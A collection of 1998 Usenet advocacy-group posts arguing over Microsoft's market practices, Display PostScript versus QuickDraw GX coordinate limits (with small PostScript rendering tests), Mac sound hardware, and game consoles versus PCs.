Who ever claimed it was an interoperable spec? I said it didn't have
to be MS's .DLL, as long as it exposed the same interfaces to the
apps. But it would still be a Windows thing.
>And if the market is the ultimate
>standards body, what competitive specification can provide this
>previously-unheard-of capability? Maybe Java, a specification which
>Microsoft seems to want to corrupt? Or possibly CORBA, which Microsoft
>would prefer to completely ignore, other than claiming that COM or
>whatever is better than a public standard because everybody uses Windows
>anyway?
>
>Forget it, Roger. You don't have a point.
No, you refuse to acknowledge that you misunderstood (misunderstand?)
what rendering services in the OS can be and do. Regardless of whose
.DLL supplies those services.
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 02 Jun 1998 22:55:38 GMT
Organization: gte.net
Message-ID: <6l1vqv$ssg$3@gte2.gte.net>
References: <6jgf0l$fvt$1@nnrp1.dejanews.com> <rmcassid-1505981205450001@dante.eng.uci.edu> <6jl4vq$pqa$1@nnrp1.dejanews.com> <rmcassid-1805981355460001@dante.eng.uci.edu> <6jr0kn$ij5$1@antares.en.com> <356512fc.258067534@news.supernews.com> <6jvgbq$jo1$1@nnrp1.dejanews.com> <35c68fc9.353563848@news.supernews.com> <6k6v64$gu7$1@nnrp1.dejanews.com> <357b26b9.31161519@news.supernews.com> <6kkga8$e0l$11@gte2.gte.net> <3571d7d0.5585733@news.supernews.com>
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On Mon, 01 Jun 1998 02:43:56 GMT, someone claiming to be T. Max Devlin
wrote:
>rfelts@. (Roger), on Thu, 28 May 1998 20:15:09 GMT,
>>On Tue, 26 May 1998 21:23:23 GMT, someone claiming to be T. Max Devlin
>>wrote:
>>
>>>dpetticord@hotmail.com, on Sat, 23 May 1998 16:57:41 GMT,
>>I read this as, no matter what steps are taken, if MS remains
>>successful, or if no one else becomes successful, MS is only giving
>>the appearance.
>>
>>Is that what you mean to say?
>
>No, nor is it what I said. Drop the attitude, and the "if MS remains
>successful" crap, and you are _almost_ paying attention. The question
>is "how do you know if Microsoft's actions continue to be
>anticompetitive" (if I might take the liberty of paraphrasing); the
>answer is "as long as Microsoft continues to have no competition, then
>it can be assumed that Microsoft continues to act anti-competitively."
Even if, despite everything that you do to MS, no one else competes
effectively?
>Isn't that what I said? Does Microsoft stand to make more money if they
>maintain a monopoly? Of course. Will it cost Microsoft money (both
>projected revenues and real costs) to implement and support competition
>in their market? Of course. Should this be construed as a reason to
>allow Microsoft to continue to benefit from an illegal monopoly? Of
>course not.
None of which is what I said.
>>What do you mean by "fair access."
>
>It's a legal term. Do you want suggested details? When third party app
>developers have the same access to the specification, implementation,
>and planning of the OS as Microsoft app developers do, that's fair
>access.
Which they have now.
>How should be obvious: separate the OS and app development
>operations within Microsoft, and enforce a chinese wall documented by
>and supported with painstaking, laborious, and expensive documentation,
>all at Microsoft's expense.
No, the how * is * obvious -- because it's how things are now. Unless
you have some evidence that you have previously neglected to present
which shows that MS Apps developers routinely benefit from "inside
information" from the OS developers.
>>Okay, and do either you have proof that MS developers routinely get
>>"special treatment?"
>Yes. I suppose now you expect me to document that proof for you. Who
>is going to pay my expenses? You want us to pay Microsoft's, why
>wouldn't you be willing to pay for mine to provide you this "proof".
I'm not. You have made a claim, now support it. Unless you want to
continue hand waving and ad hominem attacks instead of honest debate.
You've claimed to enjoy it, you need to follow the rules.
>There is documentation supporting the fact that the "chinese wall" that
>Microsoft insisted existed (to convince app developers to support their
>Windows OS, since an OS without apps is not a market favorite) was, in
>fact, merely a ruse to get third party developers to build enough
>installed base for Windows that Microsoft could gain the monopoly powers
>they are currently exploiting to take over the various app markets.
And this evidence is...? Just asserting that such exists does nothing
to further your argument.
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Tue, 02 Jun 1998 19:40:43 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-0206981940440001@192.168.0.3>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l141h$ig9$1@news.cs.tu-berlin.de> <rex-0206981543010001@192.168.0.3> <6l1pjm$s30$1@news.cs.tu-berlin.de>
In article <6l1pjm$s30$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
(Marcel Weiher) wrote:
:rex@smallandmighty.com (Eric King) writes:
:
:>In article <6l141h$ig9$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
:>(Marcel Weiher) wrote:
:
:> The only limit
:>:in DPS is that windows cannot be larger than 16K x 16K *pixels*.
:
:> Actually according to the DPS docs, they can't have coordinates with an
:>absolute value greater than 16000 because they are automatically converted
:>to integer coordinates and a window's width and height are limited to
:>10000.
:
:You still misunderstand. The 'coordinates' that will be converted to
:integer and limited are the window bounds.
You said they can't be larger than 16k x 16k pixels. The docs say
otherwise. Furthermore Windows are not Views, so where's my
misunderstanding?
:Nope. The limitations are in the Type-1 format, and documented there.
:They are not in the language, they are not exposed.
You've hit upon my problem with directly using PS' imaging model. By
using PS throughout the graphics system, you're forcing yourself to
support the lowest common denominator PS systems. It's much better to put
an abstraction layer between the onscreen representation and the printed
representation.
:>:For example, there are no limits to the size View you can have.
:
:> Sure there are.
:
:Ok, you got me, the limits are +- 10^38. Whoop-Dee-Doo.
Not in Ghostscript.
:> And similarly you would lose sub-pixel precision if you have a really
:>large coordinates. Remember DPS uses floats in its functions, not doubles.
:>There are problems with both models. Though oddly enough the DPS server
:>can handle paths sent in fixed-point coordinates as well...
:
:Sure. The 16 bit scaled integers are a more compact representation
:than 32 bit floats. Less communications bandwidth.
Actually, it supports 32bit fixed point as well. What's the point if
floats are so much more convenient?
Also, if the
:developer has integer coordinates to send, why convert them to float?
What if you *need* double precision? All of the DPS calls specify floats.
:CPU alone could completely saturate the memory subsystem. I don't
:think too many people bothered with the fixed point representation
:afterwards, because float is just so much more convenient.
I don't think many people would be bothered by a 32k x 32k coordinate
system constraint. It's just not that big of an issue for the vast
majority of developers.
-Eric
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Tue, 02 Jun 1998 19:37:11 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-0206981937120001@192.168.0.3>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l0dki$8th$1@ns3.vrx.net> <rex-0206981046500001@192.168.0.3> <35744BAE.8D0074FB@trilithon.com> <rex-0206981607490001@192.168.0.3> <6l1pt1$s9f$1@news.cs.tu-berlin.de>
In article <6l1pt1$s9f$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
(Marcel Weiher) wrote:
:rex@smallandmighty.com (Eric King) writes:
:
:>In article <35744BAE.8D0074FB@trilithon.com>, Henry McGilton
:><henry@trilithon.com> wrote:
:
:>:Eric King wrote:
:>: * No you don't, and an OpenStep developer familiar with
:>: * DPS' internals just said you didn't a few days ago.
:>: * You think in float but have to remember you're really
:>: * working in fixed. Try creating a font glyph that's
:>: * 100000 x 100000 in DPS.
:>:Just wrote this:
:>:
:>: %!PS
:>: /Optima-Bold findfont 100000 scalefont setfont
:>: -10000 0 moveto (H) show
:>: showpage
:>:
:>:Works fine --- what's your complaint about now?
:
:> Actually, the developer mentioned that the problem had to do with
:>*creating* fonts, not displaying them. Write a font program and try the
:>same thing.
:> Also moving the shape to -10000 still puts the base coordinates within
:>a 16.16 fixed-point coordinate space. This can be displayed by preclipping
:>the path to the bounds of a fixed-point coordinate space. Try moving the
:>font to -1000000,-1000000 and appropriately repositioning the view to
:>display it.
:
:This will work just fine.
I tried the following code in Ghostscript:
%!PS
/Helvetica-Bold findfont 5000000 scalefont setfont
-3000000 0 moveto (H) show
showpage
Nothing was displayed. The window didn't even open, yet part of the 'H'
should still be visible on the page. I did however get the following error
message.
Error: /limitcheck in --.type1execchar--
Similarly the command:
-4000000000.1 0 moveto
Caused:
Error: /undefined in -4000000000.1
-4000000000.1 looks like a perfectly valid floating point number to me.
The following command:
-400000000.1 0 moveto
Which has one less zero executed fine.
The following code:
%!PS
/Helvetica-Bold findfont 50000 scalefont setfont
-30000 0 moveto (H) show
showpage
Opened a window appropriately filled with black. It looks like there
is some hard limit within Ghostscript on how big certain things can be.
It doesn't necessarily mean that it's using fixed-point, but there's is a
floating point coordinate space constraint.
If you want uniformity, IMO, it's better to create a library that uses
doubles and provides good translation facilities so that a user or
developer never has to worry that certain Postscript implementations might
not be able to display their really really large data. Taligent *did* get
this right.
-Eric
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Tue, 02 Jun 1998 23:55:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6l23dm$84s$1@nnrp1.dejanews.com>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <6l1p8q$ak3$1@newsfep1.sprintmail.com>
In article <6l1p8q$ak3$1@newsfep1.sprintmail.com>,
"Paul" <shecky@unsolicited.sprintmail.com> wrote:
> it makes me wonder what's available for PC's besides
> games...and anyway, I like my Playstation (26" screen, comfy chair,
> component sound).
It doesn't matter how you unimportant you percieve games to be. It matters
how much the average user wants them. And besides, your 26" screen is low-
resolution, your games are too expensive, you can't download demos from the
web (you have to pay to rent them), few stragegy games and sims work well on
consoles and you paid extra money for your system :)
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Tue, 02 Jun 1998 16:07:48 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-0206981607490001@192.168.0.3>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l0dki$8th$1@ns3.vrx.net> <rex-0206981046500001@192.168.0.3> <35744BAE.8D0074FB@trilithon.com>
In article <35744BAE.8D0074FB@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
:Eric King wrote:
: * No you don't, and an OpenStep developer familiar with
: * DPS' internals just said you didn't a few days ago.
: * You think in float but have to remember you're really
: * working in fixed. Try creating a font glyph that's
: * 100000 x 100000 in DPS.
:Just wrote this:
:
: %!PS
: /Optima-Bold findfont 100000 scalefont setfont
: -10000 0 moveto (H) show
: showpage
:
:Works fine --- what's your complaint about now?
Actually, the developer mentioned that the problem had to do with
*creating* fonts, not displaying them. Write a font program and try the
same thing.
Also moving the shape to -10000 still puts the base coordinates within
a 16.16 fixed-point coordinate space. This can be displayed by preclipping
the path to the bounds of a fixed-point coordinate space. Try moving the
font to -1000000,-1000000 and appropriately repositioning the view to
display it.
-Eric
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 2 Jun 1998 12:57:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B199A6F7-1B326@206.165.43.1>
References: <6l14q4$adf$2@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
mmalcolm crawford <malcolm@plsys.co.uk> said:
>> Second the PS* commands
>> are pretty basic commands and could be easily replicated with GX or
other
>> graphics libraries. They are not necessarily reliant on Postscript.
>>
>But would GX use the same algorithms? Given that output is likely to be
to
>a
>PostScript printer, how assured can you be of true WYSIWYG?
Translation from quadratic to cubic bezier format can be made as accurate
as you like.
TrueType and TT GX are based on quadratic beziers while PS Type 1 etc use
cubic beziers. Are you claiming non-true-WYSIWYG when someone uses a TT
font?
An as for the issue of GX vs DPS vs QDe. I find nothing *wrong* with QDe
except that it lacks GX's extra transfer/color modes (especially for
bitmaps) and it doesn't support GX's 3x3 matrix. Actually, it appears to
lack the switchable dithering/half-toning for viewports that GX supports
and a few other nicities. Come to think of it, it might well be easier for
Apple to simply port GX to Carbon than to try to recreate it.
Oh, well. If my GXFCN ever takes off, you'll have a lot of people asking
for GX in Carbon and maybe Apple will listen then.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: justincsNOSPAM@psi.net (Justin Case)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Tue, 02 Jun 1998 21:19:05 -0500
Organization: Oh, for the hell of it.
Message-ID: <justincsNOSPAM-0206982119070001@ip116.pontiac2.mi.pub-ip.psi.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <6l1p8q$ak3$1@newsfep1.sprintmail.com> <6l23dm$84s$1@nnrp1.dejanews.com>
-y%"%xcYz/}y+:xU3BN;]\1<'w@TnK1[_d9)>|(Z{XP1+6@2c?w\kAE0l;jn),:.Bl/B
TD(@MtZ''BCd^X}97=;v`4~%bNx+5bYnFhHC!Q4V"\:@XY:sL"B5$$8:54<"mAKy77!l
In article <6l23dm$84s$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <6l1p8q$ak3$1@newsfep1.sprintmail.com>,
> "Paul" <shecky@unsolicited.sprintmail.com> wrote:
>
> > it makes me wonder what's available for PC's besides
> > games...and anyway, I like my Playstation (26" screen, comfy chair,
> > component sound).
>
> It doesn't matter how you unimportant you percieve games to be. It matters
Sure it does. Is he not a computer user? Is he not entitled to an opinion?
> how much the average user wants them.
Exactly. Look above to see just how stupid you sound. He is a computer
user, see.
> And besides, your 26" screen is low-resolution,
The graphics on a Nintendo 64 or a Playstation are *very, very* good. Not
to mention that they instantaneously load and are a single button away.
Not to mention consoles are much more convenient if you have kids or
PC-illiterate friends. A *very* nice 26" TV goes for about $250. A console
goes for $150. Your PC with the fancy graphics card and monitor that
supports those higher resolutions cost you under $400.00? Doubt it. Just
imagine the amount of games the guy with the TV will own before you even
had all the components to your duct taped PC compiled... at least a dozen.
Personally, I have a 35" television with a totally sweet home theater
system that will completely rock my house at any volume above two. Not
only can I play very, very good 64-bit console games on it, but watch TV,
rent videos, do cable, watch DVD movies in Dolby Pro Logic and all *with*
superior component Hi-Fidelity/digital sound. More importantly, I can
*share* all of these experiences with as many people who can fit in my
family room. Where's the thrill of being huddled around a particle board
manufactured computer desk? That's not my idea of convenience or fun.
> your games are too expensive,
Actually, they are priced pretty much the same. Current releases for the
PC and consoles are about $45.00 - $60.00. Nintendo 64 games are nearly
indestructible with their heavy duty casings and all.
>you can't download demos from the web (you have to pay to rent them), few
stragegy games and sims work well on
> consoles and you paid extra money for your system :)
Again, you make little sense with this silly statement. Download all the
crippled demo ware you want. The good parts of the game aren't included in
the demo whereas you can rent the *full* version for $3.00 for 3 nights at
*any* major video store and play all the levels without hindrance.
--Justin
"What's new, Normie?"
"Terrorists, Sam. They've taken over my stomach and they're demanding beer."
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Tue, 02 Jun 1998 19:23:09 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3574976D.A420646B@nstar.net>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 3 Jun 1998 00:28:42 GMT
Robert Cassidy wrote:
>
> In article <35744B61.1DDA4091@nstar.net>, "Michael J. Peck"
> <mjpeck@nstar.net> wrote:
>
> >Nathan G. Raymond wrote:
> >
> >What does your Macintosh have?
>
> Don't know nor care. Either at work or home I know I have sound support
> that is 'good enough' for just beeping at me or for playing games, yet not
> so good that it'll not work when I want it to. It's standard. It's always
> there. I don't have to think about it.
Of course, you always have this option. On the Mac, unfortunately, it's
your only option. Perfect, if you happen to fit right into the niche.
Unfortunately, only 2% of us do, apparently.
> But that's what I don't get. I have a Northstar equivalent - the Mac. In
> your father's time you could dive in and install a two-barrel carburator
> on your car yourself. You can't do that with the Northstar. A tradeoff was
> made between utility and options. Northstar represents utility, 67 Chevy
> represented options.
Ah, no. See, the tradeoff between utility and options is a separate
issue. Nathan's beef was with the fact that the rushing pace of
technology *forced* options on the consumer and thus subjugated them to
the evil dictates of scheming engineers in a capitalistic pig's lab
somewhere.
I wasn't thinking of "utility v. options" when I brought up the
Northstar example. I was just thinking of a technologically-advanced
product that gets complaints from people who feel left behind.
> Swapping out a sound card on a Mac is not a thing you do, and as a result
> not a thing that breaks. You lose a bit of flexibility, but so what? It's
> not flexible in a range that matters to me or anyone else that I know of.
You don't know any musicians, then? You don't know anybody who plays
computer games on a PC? Apparently enough people care that GameCenter
does product reviews...and I read 'em!
Maybe I'm the *only* one...that's sort of spooky. I'm sure you're wrong.
> There are only so many options that are worthy of my time. I don't want 34
> sound cards to choose from. A few will do. The standard one which does 98%
> of what anybody wants (what I have now) or a choice of high-end cards for
> professionals. As such, sound cards don't fall in my field of vision. If
> the machine down the hall is unhappy, 'What about the sound card?' never
> enters my head.
So...do you have a broker to choose your next automobile? Your home
furniture, perhaps? Maybe you have somebody who picks dinner for you.
Maybe you're just demonstrating my point that nobody cares about
*everything*. You pick what's worth your money. And the whole subject of
the thread? Apple doesn't allow you to do this.
[cut - testimonial]
> >Explain again how you're better off than me. I've turned my share of old
> >386 and 486 machines into FreeBSD and Linux clients and servers. The
> >main difference is that I was able to put a serial expander and a fast
> >SCSI solution into those boxes and get my time's worth.
>
> Because he knows what is in that box. If it's a IIci, it's the same as
> *every* other IIci. They all have the same SCSI, the same RAM, the same
> sound, video, I/O, and so on (with some exceptions, like ethernet). If you
> can set up NetBSD on one IIci, you can set it up on all of them. I'm busy,
> I just want it to work. While your PC experience seems to be exceptionally
> good (remarkably so in fact) others isn't so good.
What?! This is ridiculous. It's easier to keep track of the zigzagging
contents of Apple products than it is to complete a simple checklist on
PC hardware contents?
> Do you Mac people still keep those "Mac
> >Memory Charts" around for reference?
>
> Apple distributes a stand alone FMPro database with all the specs now.
Ooh, very nice.
[cut]
[cut]
Yes, how wonderful that MacOS runs reliably on any of, say, 30 different
systems, produced over a span of, say, 24 months. That's really
impressive, Bob. And it just goes to show how NT sucks.
Not.
> >Sorry, lost you again, Mission Control. I thought we had already
> >established that technological progress was Bad, over?
>
> Technical progress isn't bad. But the PC world is stuck in the 1950's
> model of building engines. They aren't making much progress. They are
> merely offering new bells and new whistles that the consumer is expected
> to make work.
The market wants the choice. The market delivers the choice. Until the
market stops wanting it, it will still be getting the choice. See?
And until Apple gives the market what it wants, despite your objections
on arbitrary grounds, it will continue to be The Almost-Dead Company.
[cut]
> Your system is only as technically advanced as the least primitive
> element. That's why the fud wars shift from 'Mac is not expandable' to
> 'Mac has no memory protection' to 'Mac is slower' to 'Mac has no AGP'.
>
> It wasn't until automakers broke the model that they were able to
> introduce technology that makes engines 'just work' for extended periods
> of time.
Actually, that's not quite it. It wasn't until auto*buyers* decided that
they *wanted* engines to 'just work' for extended periods of time.
> Apple broke the model early on, but apparently people weren't
> ready.
Now that's the brightest thing you've written in this whole post.
> Computers were a novelty just as cars were to the young people
> following WWII. But now computers are more important for many markets.
> They do work. They are utilitarian and need reliability and
> predictability, not endless options.
So...why does the number of 3D accelerators in the PC market continue to
snowball?
I don't want you to lose any sleep, so I'll give you the answer: every
succeeding model is faster than the previous one. Meanwhile, your Mac
has yesterday's 3D acceleration, or none at all. And I've *seen* you
complain about the lack of Mac games, Bob.
You figure it out. But chew on this: maybe your model of simplicity is
currently at odds with a model of performance that's given a higher
priority in the market at large.
MJP
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 02 Jun 1998 22:55:26 GMT
Organization: gte.net
Message-ID: <6l1vqj$ssg$1@gte2.gte.net>
References: <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <356f8bcf.2366573@news.supernews.com> <6kkgab$e0l$12@gte2.gte.net> <3577870d.83503862@news.supernews.com> <6kv3in$an9$2@gte1.gte.net> <35775fc2.10295454@news.supernews.com>
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On Tue, 02 Jun 1998 02:26:08 GMT, someone claiming to be T. Max Devlin
wrote:
>rfelts@. (Roger), on Mon, 01 Jun 1998 20:48:49 GMT,
>>Matter of fact, I do. Which specifically of the things that have been
>>discussed as useful for this batch to do, do you claim it cannot?
>>
>>Seems to me this sounds like someone thinking with out source code,
>>nothing is possible.
>Work reliably on millions of computers without fail under unknown
>install conditions with an indeterminate number of arbitrarily coded
>applications, that's what I don't expect a batch file to do, and except
>for Microsoft's ludicrously steep market-entry obstacles, there is no
>reason at all why you should do it.
Not an indeterminate number of arbitrary apps. We're talking about an
OEM doing this with a finite, probably fairly small number of apps in
a configuration which is standard. I'm not saying it would be trivial
to get this to work on any machine with any (number of) app(s,) but
that wasn't what was being discussed, now was it?
>If you actually had to make a
>living selling and supporting computers, I doubt you would be so happy
>with this idea. Oh, I see, I imagine that you plan to just accept the
>Microsoft defaults, so it doesn't bother you.
Nope, we've created a CD which with a single command takes a
pre-configured PC from HP, tweaks it in a number of ways to the
corporate standard, and installs a standard app load (including both
MS and non-MS apps.) Very little about the resulting box is default.
>Oddly enough, it won't
>bother other OEMs. And it's not going to bother the customer's either,
>because they don't know any other way than to be forced to carry
>Microsoft ludicrous marketing crap on their backs for the "privilege" of
>running a _Microsoft_ PC.
>
>If you think this is a simple matter of writing a batch file, you sure
>as hell won't stay in business very long, I would wager. Being blind to
>a competitor's strategy (Microsoft is _everybody's_ competitor) when you
>know they have a habit of clearing out the competition isn't really the
>way to make a living as an entrepreneur.
You've still off track here, wince I haven't been discussing this as
something I would market even vertically. All I have been saying is
that it would be trivial for an OEM to both meet the requirements of
their contract with MS and present a completely unique configuration
to their customers, once the box has booted a second time.
>>>Microsoft actually has the gall to complain because a computer
>>>manufacturer wants _their_ name associated with _their_ products over
>>>and above Microsoft? And this is OK, because Microsoft needs that kind
>>>of leverage to stay in control of the market? What the hell is the
>>>_logic_ here?
>>It's not logic, it's marketing <g>
>That kind of response might make sense if you weren't defending it. Why
>do you so happily participate in the destruction of our society through
>greed? Why do you treat so cavalierly the concept of business ethics?
>Why aren't you concerned that the most important and technical product
>available in a consumer market is marketed with smoke and mirrors? What
>gives?
Your response might make sense if I was defending the practice. I'm
not, I'm explaining why and where you have gone overboard and claimed
things as facts when they are not.
>>>>Note that I do not think that this would be a bad thing.
>>>>
>>>>Also note that Gateway, with the Blessing of Bill <g>, will be doing
>>>>this on their new boxes.
>>>
>>>These last two statements, taken together, are what cause me to think of
>>>you as a "Microsoft apologist". If you don't think OEMs installing
>>>other shells is a bad thing, then how can you think Windows is a
>>>functional operating system, considering you can't do that? The
>>>arraignment with Gateway has nothing to do with alternate shells....
>>
>>Can't do what -- install alternate shells? You can. That was one of
>>my points. It is both technically possible and something that MS will
>>allow.
>
>THERE ARE NO ALTERNATE SHELLS! Windows doesn't _have_ "shells". Are
>saying I can write a new GUI? But of course I can do that, too, without
>source code, huh? What "alternate shells" are available for Windows?
HP writes one, seems to me I've seen a couple of others (PB used to
ship a PB Explorer -- anyone know if they still do?) There is nothing
magic about Explorer that makes it irreplaceable. As long as the
replacement does the same things as Explorer does, there is no
problem. Oh, and one more: The Program Manager is an alternate shell
which MS ships.
>Maybe you mean "desktop". Only there's only one desktop in Windows,
>too. Maybe you mean "arrange the icons on my desktop"? Tell me you
>didn't mean that.
I didn't. Will you please try to read what I write, and limit the
filtering through your "he's a troll, so he can't have meant what he
wrote since it makes sense (or because it doesn't agree with my
preconceived ideas, and I hate it when he shows I am wrong) as much as
you possible can? It would make the dialog you keep claiming to want
so much easier...
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 2 Jun 1998 13:10:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B199A9F8-267E6@206.165.43.1>
References: <6l0kkl$cmd$3@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B19964F4-10922@206.165.43.108> "Lawson English" claimed:
>> 16.16 is reasonably real-world for most graphical purposes.
>
> "reasonably real-world"
>
Yep, with only a few exceptions, a fixed-point +-15.16 coordinate system
can handle anything that DPS/PDF does. Besides, it is moot.
>> 32,000 pixels x 32,000 pixels is larger than nearly any "real world"
>image.
>
> "nearly any".
Nearly any. Besides, it is moot.
>
> Funny how that changes so quickly with you Lawson. You keep saying
>"nearly" isn't good enough when someone says that EQD is good enough
>compared
>to GX. Yet when it's GX that's suddently "nearly", then it _is_ good
enough.
>
> Talk about two faced! The illogical basis of your GX religion is
clearly
>demonstrated.
Never said that it was "good enough" for those purposes for which floating
point coordinates are required (e.g. nested EPS).
>
>> Besides, it's moot. I dont' worry about fixed vs float. I worry about
>> *capabilties*.
>
> Yes, but you're not a programmer. More to the point, big coordinate
spaces
>ARE a capability. Clearly your statements here are invalid.
The point is MOOT. In the common usage of the word, "moot" means "no longer
worth arguing over." The DPS/PDF coordinate model wins.
However...
>
>> Mike wants to integrate QD3D/OpenGL with the 2D system of YB. Kool.
>
> Here we agree.
There's a few problems with this, that I see. For instance, if my GXFCN
takes off (we'll see), there will be lots of GX-based images running around
that can't be displayed by the base graphics system of X. Also, while most
people would like the 3D perspective of GX, not all that many will need the
extra features of what it sounds like Mike is working on. This is an
ultra-high-end solution. GX is merely last year's high-end solution and
this year's (hopefully) low-end solution. If GX doesn't make it into
Carbon, they'll be YAD in Apple's offerings (yet another dichotomy) for its
product line that will further divide the market.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Tue, 02 Jun 1998 19:29:20 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <357498E0.8F6C80B3@nstar.net>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1 <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <slrn6n8ud7.jbt.sal@panix2.panix.com>
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Salvatore Denaro wrote:
> >What does your Macintosh have?
>
> A free system extension that does the same thing, and I don't have to
> open my machine to install it. (BTW, any reason why PlainTalk isn't on
> by default on the g3?)
>
> Why do you need custom hardware to do TTS? Just to offload the CPU? What
> a waste. Get a faster CPU if you need it.
Great idea.
> And if you want SS or 3d
> or better bass get better speakers.
Speakers can't magically generated a surround-sound signal. They can't
magically know how to manipulate the 3D characteristics of the signal.
They can't magically manipulate the bass. It's driven by software and
processed in the audio hardware. Speakers don't really have anything to
do with these subjects, except in preserving the quality of the signal
once it's created.
> An $80 is not going to improve tinny
> speakers with washed out bass. Or hook you machine up to a stereo.
>
> I know a guitar player with an 040 Mac who uses TTS and voice recognition.
> If a 33mhz 040 with 24mb of RAM can handle TTS, midi and VR, then a pentium
> should be able to without any problems.
Hm, an AV 040 Mac? If so, he has an AT&T DSP in there offloading those
signal-processing functions from the main CPU.
> The Mac has PCI slots. If there was a demand for new sound cards, someone
> would be writing drivers for them. Seeing how so many artists and musicians
> I know prefer Macs, I would think that the Mac market would have a few
> sound cards availible. The only ones I have see are the ultra-high end
> 12track and 24track PCI studio cards. (They come with Mac and PC software
> and drivers in the box)
I'm told by musician friends that while the hardware selection is far
better on PCs, there is much better music synthesis software available
for the Macintosh.
> >Wahl, gee golly, you talk so pretty!
>
> And now you drop to the level of personal insults...
This is an insult? I can do a lot better than this...
MJP
From: mNOSPAMroeder@macromedia.com (Michael Roeder)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Tue, 02 Jun 1998 16:58:27 -0700
